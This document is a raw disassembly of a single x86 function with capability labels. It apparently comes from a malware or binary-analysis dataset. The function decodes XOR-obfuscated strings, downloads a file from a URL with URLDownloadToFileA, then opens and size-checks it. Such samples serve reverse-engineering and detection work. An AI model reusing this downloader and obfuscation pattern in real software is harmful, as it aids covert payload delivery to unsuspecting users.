Function at 0x1000c520
Capabilities:
Download url
Get file size
Receive data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1004e7b8
mov eax, dword fs:[0]
push eax
sub esp, 0x548
mov eax, dword [0x1005d500]
xor eax, esp
mov dword [esp + 0x540], eax
push ebx
push esi
push edi
mov eax, dword [0x1005d500]
xor eax, esp
push eax
lea eax, [esp + 0x558]
mov dword fs:[0], eax
mov dword [esp + 0x50], vtable.SysService.0
xor ebx, ebx
mov dword [esp + 0x560], ebx
mov dword [esp + 0x54], vtable.FileService.0
mov dword [esp + 0x58], vtable.AdInfoService.0
lea edi, [esp + 0x94]
mov byte [esp + 0x560], 2
call fcn.10020860
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x3c], vtable.CodeService.0
push 0x3ff
lea eax, [esp + 0x151]
push ebx
mov byte [esp + 0x568], 5
push eax
mov byte [esp + 0x158], bl
call fcn.10037ff0
add esp, 0xc
push 0x21
lea ecx, [esp + 0x150]
push 0x10053908
push ecx
call fcn.10038100
add esp, 0xc
xor eax, eax
jmp 0x1000c5f0
mov edx, eax
and edx, 0x8000000f
jns 0x1000c5ff
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x10053988]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x21
jl 0x1000c5f0
mov esi, 0xf
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000c636
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 6
call fcn.1000b020
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000c682
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032f50
add esp, 4
push 0x1c
lea ecx, [esp + 0x150]
push 0x1005392c
push ecx
call fcn.10038100
add esp, 0xc
xor eax, eax
jmp 0x1000c6a0
mov edx, eax
and edx, 0x8000000f
jns 0x1000c6af
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x10053988]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1c
jl 0x1000c6a0
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000c6e1
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 7
call fcn.1000b020
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000c72d
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032f50
add esp, 4
push 0x1f
lea ecx, [esp + 0x150]
push 0x10053948
push ecx
call fcn.10038100
add esp, 0xc
xor eax, eax
mov edx, eax
and edx, 0x8000000f
jns 0x1000c755
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x10053988]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1f
jl 0x1000c746
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000c787
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 8
call fcn.1000b020
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000c7d3
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032f50
add esp, 4
push 0x1f
lea ecx, [esp + 0x150]
push 0x10053968
push ecx
call fcn.10038100
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov edx, eax
and edx, 0x8000000f
jns 0x1000c7ff
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x10053988]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1f
jl 0x1000c7f0
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000c831
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 9
call fcn.1000b020
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000c87d
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032f50
add esp, 4
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x7c]
push edx
call fcn.10018d20
add esp, 8
lea ecx, [esp + 0x130]
mov byte [esp + 0x560], 0xa
call fcn.1002ff50
mov esi, eax
push 0x10053a34
lea eax, [esp + 0x7c]
push eax
lea ecx, [esp + 0xb8]
push ecx
mov byte [esp + 0x56c], 0xb
call fcn.10002410
add esp, 0xc
mov ecx, eax
lea edx, [esp + 0x5c]
push edx
mov eax, esi
mov byte [esp + 0x564], 0xc
call fcn.1000d2d0
add esp, 4
mov edi, eax
lea esi, [esp + 0x78]
mov byte [esp + 0x560], 0xd
call fcn.100029b0
cmp dword [esp + 0x70], 0x10
jb 0x1000c907
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032f50
add esp, 4
mov edi, 0x10
mov esi, 0xf
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
cmp dword [esp + 0xc4], edi
jb 0x1000c936
mov ecx, dword [esp + 0xb0]
push ecx
call fcn.10032f50
add esp, 4
mov byte [esp + 0x560], 0xa
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
cmp dword [esp + 0x144], edi
jb 0x1000c96c
mov edx, dword [esp + 0x130]
push edx
call fcn.10032f50
add esp, 4
mov ecx, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x1000c983
lea ecx, [esp + 0x94]
mov eax, dword [esp + 0x78]
cmp dword [esp + 0x8c], edi
jae 0x1000c994
lea eax, [esp + 0x78]
push ebx
push ebx
push ecx
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x1000ca30
cmp dword [esp + 0x8c], edi
jb 0x1000c9bd
mov eax, dword [esp + 0x78]
push eax
call fcn.10032f50
add esp, 4
mov dword [esp + 0x8c], esi
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000c9f0
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008ae0
push esi
call fcn.10032f50
add esp, 4
mov edi, 0x10
cmp dword [esp + 0xa8], edi
jb 0x1000ca09
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10032f50
add esp, 4
or eax, 0xffffffff
mov ecx, dword [esp + 0x558]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x540]
xor ecx, esp
call fcn.10034eea
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x1000ca47
lea eax, [esp + 0x94]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x40]
mov esi, eax
push edx
push esi
mov dword [esp + 0x48], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test al, 7
je 0x1000cac8
cmp dword [esp + 0x8c], edi
jb 0x1000ca89
mov eax, dword [esp + 0x78]
push eax
call fcn.10032f50
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cabb
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008ae0
push esi
call fcn.10032f50
add esp, 4
cmp dword [esp + 0xa8], 0x10
jmp 0x1000c9f7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x74
mov dword [esp + 0x38], ebx
call fcn.10032f20
add esp, 4
cmp eax, ebx
je 0x1000ce1e
mov dword [esp + 0x30], eax
mov dword [eax], eax
mov eax, dword [esp + 0x30]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x30]
mov dword [eax + 8], eax
mov edx, dword [esp + 0x30]
mov byte [edx + 0x70], 1
mov eax, dword [esp + 0x30]
mov byte [eax + 0x71], 1
mov byte [esp + 0x560], 0xe
mov esi, dword [0x10061c84]
mov ecx, dword [0x10061c80]
mov edx, esi
sub edx, ecx
mov eax, 0x2aaaaaab
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
xor edi, edi
add eax, edx
je 0x1000cc7c
mov dword [esp + 0x18], ebx
add ecx, dword [esp + 0x18]
lea eax, [esp + 0xcc]
push eax
call fcn.10008750
lea ebx, [esp + 0xcc]
lea ecx, [esp + 0x2c]
mov byte [esp + 0x560], 0xf
call fcn.1000b0f0
mov ecx, dword [esp + 0xcc]
push 0xffffffffffffffff
mov esi, eax
xor ebx, ebx
push ebx
lea edx, [esp + 0xd8]
mov dword [esi], ecx
push edx
lea ecx, [esi + 4]
call fcn.10002da0
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0xf4]
push eax
lea ecx, [esi + 0x20]
call fcn.10002da0
mov ecx, dword [esp + 0x108]
push 0xffffffffffffffff
mov dword [esi + 0x3c], ecx
mov edx, dword [esp + 0x110]
push ebx
lea eax, [esp + 0x118]
push eax
lea ecx, [esi + 0x44]
mov dword [esi + 0x40], edx
call fcn.10002da0
mov esi, 0x10
mov byte [esp + 0x560], 0xe
cmp dword [esp + 0x124], esi
jb 0x1000cbe7
mov ecx, dword [esp + 0x110]
push ecx
call fcn.10032f50
add esp, 4
mov dword [esp + 0x124], 0xf
mov dword [esp + 0x120], ebx
mov byte [esp + 0x110], bl
cmp dword [esp + 0x100], esi
jb 0x1000cc19
mov edx, dword [esp + 0xec]
push edx
call fcn.10032f50
add esp, 4
mov dword [esp + 0x100], 0xf
mov dword [esp + 0xfc], ebx
mov byte [esp + 0xec], bl
cmp dword [esp + 0xe4], esi
jb 0x1000cc4b
mov eax, dword [esp + 0xd0]
push eax
call fcn.10032f50
add esp, 4
mov esi, dword [0x10061c84]
mov ecx, dword [0x10061c80]
add dword [esp + 0x18], 0x60
mov edx, esi
sub edx, ecx
mov eax, 0x2aaaaaab
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc edi
add eax, edx
cmp edi, eax
jb 0x1000cb3e
xor ebx, ebx
cmp ecx, esi
je 0x1000ccb1
mov edx, dword [esp + 0x3c]
push edx
mov ebx, esi
mov eax, esi
call fcn.10008f00
mov ecx, dword [0x10061c84]
mov esi, eax
mov eax, dword [esp + 0x40]
add esp, 4
push eax
push ecx
mov eax, esi
call fcn.10008f60
add esp, 8
mov dword [0x10061c84], esi
xor ebx, ebx
mov eax, dword [0x100a1db4]
mov ecx, dword [0x100a1dd0]
lea edx, [esp + 0x94]
push edx
push eax
push ecx
lea edx, [esp + 0x38]
mov ecx, 0x10061c80
call fcn.100097e0
cmp dword [esp + 0xa8], 0x10
mov byte [esp + 0x13], al
mov eax, dword [esp + 0x94]
jae 0x1000ccf0
lea eax, [esp + 0x94]
push eax
call fcn.100370f3
add esp, 4
cmp byte [esp + 0x13], bl
jne 0x1000cd87
mov byte [esp + 0x560], 0x10
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x34]
call fcn.1000ceb0
mov edx, dword [esp + 0x30]
push edx
call fcn.10032f50
add esp, 4
cmp dword [esp + 0x8c], 0x10
jb 0x1000cd44
mov eax, dword [esp + 0x78]
push eax
call fcn.10032f50
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cabb
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008ae0
push esi
call fcn.10032f50
add esp, 4
cmp dword [esp + 0xa8], 0x10
jmp 0x1000c9f7
mov byte [esp + 0x560], 0x11
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x34]
call fcn.1000ceb0
mov edx, dword [esp + 0x30]
push edx
call fcn.10032f50
add esp, 4
cmp dword [esp + 0x8c], 0x10
jb 0x1000cdc8
mov eax, dword [esp + 0x78]
push eax
call fcn.10032f50
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cdfa
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008ae0
push esi
call fcn.10032f50
add esp, 4
cmp dword [esp + 0xa8], 0x10
jb 0x1000ce14
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10032f50
add esp, 4
mov eax, 1
jmp 0x1000ca0c
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x48]
mov dword [esp + 0x18], ebx
call fcn.10034f6f
push 0x10057568
lea eax, [esp + 0x48]
push eax
mov dword [esp + 0x4c], vtable.std::bad_alloc.0
call fcn.10037977
int3